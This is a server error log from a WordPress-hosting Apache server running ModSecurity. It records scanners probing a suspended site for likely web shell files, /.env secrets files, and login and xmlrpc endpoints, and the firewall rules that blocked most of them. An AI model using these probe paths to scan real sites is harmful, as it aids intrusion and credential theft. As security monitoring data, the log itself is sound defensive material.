[Sun Apr 05 07:18:49.414095 2026] [:error] [pid 30921:tid 30936] [client 74.234.80.3:8584] File does not exist: /usr/local/apache/htdocs/suspended-page/xxc.php
[Sun Apr 05 07:18:49.669064 2026] [:error] [pid 30921:tid 30926] [client 74.234.80.3:8584] File does not exist: /usr/local/apache/htdocs/suspended-page/Jcrop.php
[Sun Apr 05 07:18:49.924402 2026] [:error] [pid 30921:tid 30931] [client 74.234.80.3:8584] File does not exist: /usr/local/apache/htdocs/suspended-page/rh.php
[Sun Apr 05 07:18:50.176469 2026] [:error] [pid 30921:tid 30930] [client 74.234.80.3:8584] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55l453.php"] [unique_id "adGcWmFGQVn8Q0ueB26TjgAAAQc"]
[Sun Apr 05 07:18:51.492121 2026] [:error] [pid 45305:tid 45374] [client 74.234.80.3:51092] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55l453.php"] [unique_id "adGcW-jDQjr7aWhjflBczAAAAIM"]
[Sun Apr 05 07:18:57.103790 2026] [:error] [pid 30921:tid 30933] [client 74.234.80.3:59149] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55l453.php"] [unique_id "adGcYWFGQVn8Q0ueB26TlAAAAQo"]
[Sun Apr 05 07:18:59.818769 2026] [:error] [pid 45305:tid 45384] [client 74.234.80.3:8914] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55l453.php"] [unique_id "adGcY-jDQjr7aWhjflBc3AAAAI0"]
[Sun Apr 05 07:19:00.622402 2026] [:error] [pid 45304:tid 45366] [client 74.234.80.3:8592] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xx.php"] [unique_id "adGcZA5jnqDKKovdRkkfKwAAAFY"]
[Sun Apr 05 07:19:01.633690 2026] [:error] [pid 45409:tid 45423] [client 74.234.80.3:48638] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xx.php"] [unique_id "adGcZdHt_Oyw03gjCNj_igAAAMw"]
[Sun Apr 05 07:19:02.298716 2026] [:error] [pid 45305:tid 45375] [client 74.234.80.3:8639] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xx.php"] [unique_id "adGcZujDQjr7aWhjflBc5QAAAIQ"]
[Sun Apr 05 07:19:04.346838 2026] [:error] [pid 45409:tid 45417] [client 74.234.80.3:46509] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xx.php"] [unique_id "adGcaNHt_Oyw03gjCNj_kgAAAMY"]
[Sun Apr 05 07:19:05.289541 2026] [:error] [pid 45303:tid 45330] [client 74.234.80.3:51096] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkyac.php"] [unique_id "adGcabboQ9eViZ4hdnmhVwAAAA0"]
[Sun Apr 05 07:19:06.126212 2026] [:error] [pid 30921:tid 30947] [client 74.234.80.3:46465] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkyac.php"] [unique_id "adGcamFGQVn8Q0ueB26TnAAAARg"]
[Sun Apr 05 07:19:07.312894 2026] [:error] [pid 45409:tid 45427] [client 74.234.80.3:51082] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkyac.php"] [unique_id "adGca9Ht_Oyw03gjCNj_lwAAANA"]
[Sun Apr 05 07:19:08.581168 2026] [:error] [pid 30921:tid 30936] [client 74.234.80.3:48599] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkyac.php"] [unique_id "adGcbGFGQVn8Q0ueB26ToQAAAQ0"]
[Sun Apr 05 07:19:09.322856 2026] [:error] [pid 45303:tid 45322] [client 74.234.80.3:59141] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "adGcbbboQ9eViZ4hdnmhYQAAAAU"]
[Sun Apr 05 07:19:10.384373 2026] [:error] [pid 45303:tid 45318] [client 74.234.80.3:8953] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "adGcbrboQ9eViZ4hdnmhZQAAAAE"]
[Sun Apr 05 07:19:11.600831 2026] [:error] [pid 45305:tid 45381] [client 74.234.80.3:46513] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "adGcb-jDQjr7aWhjflBdBwAAAIo"]
[Sun Apr 05 07:19:13.081285 2026] [:error] [pid 45409:tid 45415] [client 74.234.80.3:59159] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "adGccdHt_Oyw03gjCNj_ogAAAMQ"]
[Sun Apr 05 07:19:14.527758 2026] [:error] [pid 45409:tid 45416] [client 74.234.80.3:46487] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "adGcctHt_Oyw03gjCNj_pwAAAMU"]
[Sun Apr 05 07:19:16.077817 2026] [:error] [pid 45303:tid 45323] [client 74.234.80.3:59170] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "adGcdLboQ9eViZ4hdnmhcAAAAAY"]
[Sun Apr 05 07:19:17.114455 2026] [:error] [pid 30921:tid 30923] [client 74.234.80.3:46490] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "adGcdWFGQVn8Q0ueB26TqwAAAQA"]
[Sun Apr 05 07:19:20.349792 2026] [:error] [pid 30921:tid 30926] [client 74.234.80.3:46483] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "adGceGFGQVn8Q0ueB26TswAAAQM"]
[Sun Apr 05 07:19:21.918904 2026] [:error] [pid 30921:tid 30925] [client 74.234.80.3:8616] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "adGceWFGQVn8Q0ueB26TtwAAAQI"]
[Sun Apr 05 07:19:25.203135 2026] [:error] [pid 45409:tid 45416] [client 74.234.80.3:8576] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "adGcfdHt_Oyw03gjCNj_vgAAAMU"]
[Sun Apr 05 07:19:28.477298 2026] [:error] [pid 45305:tid 45372] [client 74.234.80.3:8599] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "adGcgOjDQjr7aWhjflBdLwAAAIE"]
[Sun Apr 05 07:19:29.790300 2026] [:error] [pid 45303:tid 45336] [client 74.234.80.3:9188] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HLA-dd.php"] [unique_id "adGcgbboQ9eViZ4hdnmhfgAAABM"]
[Sun Apr 05 07:19:30.772213 2026] [:error] [pid 45305:tid 45372] [client 74.234.80.3:9179] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsc.php"] [unique_id "adGcgujDQjr7aWhjflBdNQAAAIE"]
[Sun Apr 05 07:19:31.845916 2026] [:error] [pid 45305:tid 45377] [client 74.234.80.3:9171] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsc.php"] [unique_id "adGcg-jDQjr7aWhjflBdOgAAAIY"]
[Sun Apr 05 07:19:32.910861 2026] [:error] [pid 45409:tid 45412] [client 74.234.80.3:8930] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsc.php"] [unique_id "adGchNHt_Oyw03gjCNj_1gAAAME"]
[Sun Apr 05 07:19:35.300657 2026] [:error] [pid 45409:tid 45419] [client 74.234.80.3:9162] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-lvminl.php"] [unique_id "adGch9Ht_Oyw03gjCNj_5AAAAMg"]
[Sun Apr 05 07:19:38.693350 2026] [:error] [pid 45305:tid 45393] [client 74.234.80.3:46498] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dczem.php"] [unique_id "adGciujDQjr7aWhjflBdRQAAAJY"]
[Sun Apr 05 07:19:39.770462 2026] [:error] [pid 45305:tid 45375] [client 74.234.80.3:8608] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dczem.php"] [unique_id "adGci-jDQjr7aWhjflBdTAAAAIQ"]
[Sun Apr 05 07:19:40.825866 2026] [:error] [pid 45305:tid 45380] [client 74.234.80.3:59195] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dczem.php"] [unique_id "adGcjOjDQjr7aWhjflBdTwAAAIk"]
[Sun Apr 05 07:19:41.807137 2026] [:error] [pid 30921:tid 30931] [client 74.234.80.3:8954] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dczem.php"] [unique_id "adGcjWFGQVn8Q0ueB26T0gAAAQg"]
[Sun Apr 05 07:19:43.438790 2026] [:error] [pid 45304:tid 45353] [client 74.234.80.3:48596] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "adGcjw5jnqDKKovdRkkfQAAAAEk"]
[Sun Apr 05 07:19:45.682765 2026] [:error] [pid 45303:tid 45326] [client 74.234.80.3:59169] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "adGckbboQ9eViZ4hdnmhiQAAAAk"]
[Sun Apr 05 07:19:48.149452 2026] [:error] [pid 45305:tid 45372] [client 74.234.80.3:8902] [client 74.234.80.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "adGclOjDQjr7aWhjflBdYgAAAIE"]
[Sun Apr 05 07:19:50.454832 2026] [:error] [pid 45305:tid 45371] [client 74.234.80.3:8580] File does not exist: /usr/local/apache/htdocs/suspended-page/albrt.php
[Sun Apr 05 09:44:48.701567 2026] [:error] [pid 45409:tid 45433] [client 74.248.146.253:2906] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adG-kNHt_Oyw03gjCNhM9wAAANY"]
[Sun Apr 05 09:44:51.623621 2026] [:error] [pid 45409:tid 45434] [client 74.248.146.253:65387] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adG-k9Ht_Oyw03gjCNhNAgAAANc"]
[Sun Apr 05 09:44:52.366194 2026] [:error] [pid 45305:tid 45379] [client 74.248.146.253:21453] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adG-lOjDQjr7aWhjflDLjwAAAIg"]
[Sun Apr 05 09:44:55.547520 2026] [:error] [pid 45304:tid 45351] [client 74.248.146.253:18131] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adG-lw5jnqDKKovdRklF_QAAAEc"]
[Sun Apr 05 14:25:23.674107 2026] [:error] [pid 45409:tid 45417] [client 4.223.104.110:63815] File does not exist: /usr/local/apache/htdocs/suspended-page/RIP.php
[Sun Apr 05 23:35:13.005674 2026] [:error] [pid 45305:tid 45378] [client 104.28.152.201:12169] [client 104.28.152.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adKBMejDQjr7aWhjflCUfgAAAIc"]
[Sun Apr 05 23:35:14.469581 2026] [:error] [pid 30921:tid 30923] [client 69.46.65.137:64662] [client 69.46.65.137] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adKBMmFGQVn8Q0ueB25gGAAAAQA"]
[Sun Apr 05 23:35:16.488684 2026] [:error] [pid 45409:tid 45434] [client 104.238.41.160:36132] [client 104.238.41.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adKBNNHt_Oyw03gjCNiC3QAAANc"]
[Sun Apr 05 23:35:18.123131 2026] [:error] [pid 45409:tid 45412] [client 104.238.42.244:46360] [client 104.238.42.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adKBNtHt_Oyw03gjCNiC8QAAAME"]
[Sun Apr 05 23:35:18.586759 2026] [:error] [pid 45409:tid 45429] [client 104.28.152.201:13265] [client 104.28.152.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adKBNtHt_Oyw03gjCNiC9AAAANI"]
[Mon Apr 06 02:45:44.102691 2026] [:error] [pid 51580:tid 51661] [client 45.13.191.39:51701] [client 45.13.191.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adKt2FNFl1NiyNgNZAlpnwAAAFY"]
[Mon Apr 06 07:57:43.241291 2026] [:error] [pid 35688:tid 35767] [client 179.62.209.174:53611] [client 179.62.209.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.62.209.174, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "adL29uZ85qg4jLsRpQzSxwAAAJE"], referer: https://windfarmcoolants.com.au/wp-login.php
[Mon Apr 06 07:57:43.245839 2026] [:error] [pid 35688:tid 35767] [client 179.62.209.174:53611] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://windfarmcoolants.com.au/wp-login.php
[Mon Apr 06 07:59:31.363016 2026] [:error] [pid 9442:tid 9455] [client 5.26.29.152:48400] [client 5.26.29.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.26.29.152, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "adL3Y0PsNnAJTnmz6sYmcwAAAQs"], referer: https://windfarmcoolants.com.au/xmlrpc.php
[Mon Apr 06 07:59:31.366603 2026] [:error] [pid 9442:tid 9455] [client 5.26.29.152:48400] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php, referer: https://windfarmcoolants.com.au/xmlrpc.php
[Mon Apr 06 11:07:30.403459 2026] [:error] [pid 35786:tid 35802] [client 139.59.224.88:37408] [client 139.59.224.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "adMjcmgkfCKTaLhwaKShmAAAAMk"]
[Mon Apr 06 11:33:46.863351 2026] [:error] [pid 38562:tid 38582] [client 139.59.224.88:54696] [client 139.59.224.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env"] [unique_id "adMpmqeD6Ohe6wzRuy6EBAAAAVE"]
[Mon Apr 06 12:06:41.868598 2026] [:error] [pid 38562:tid 38570] [client 185.165.46.205:63835] File does not exist: /usr/local/apache/htdocs/suspended-page/accesson.php
[Mon Apr 06 20:04:49.567383 2026] [:error] [pid 10280:tid 10301] [client 74.248.150.154:2017] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adOhYV8QUJkf8g-BFfP08wAAAdI"]
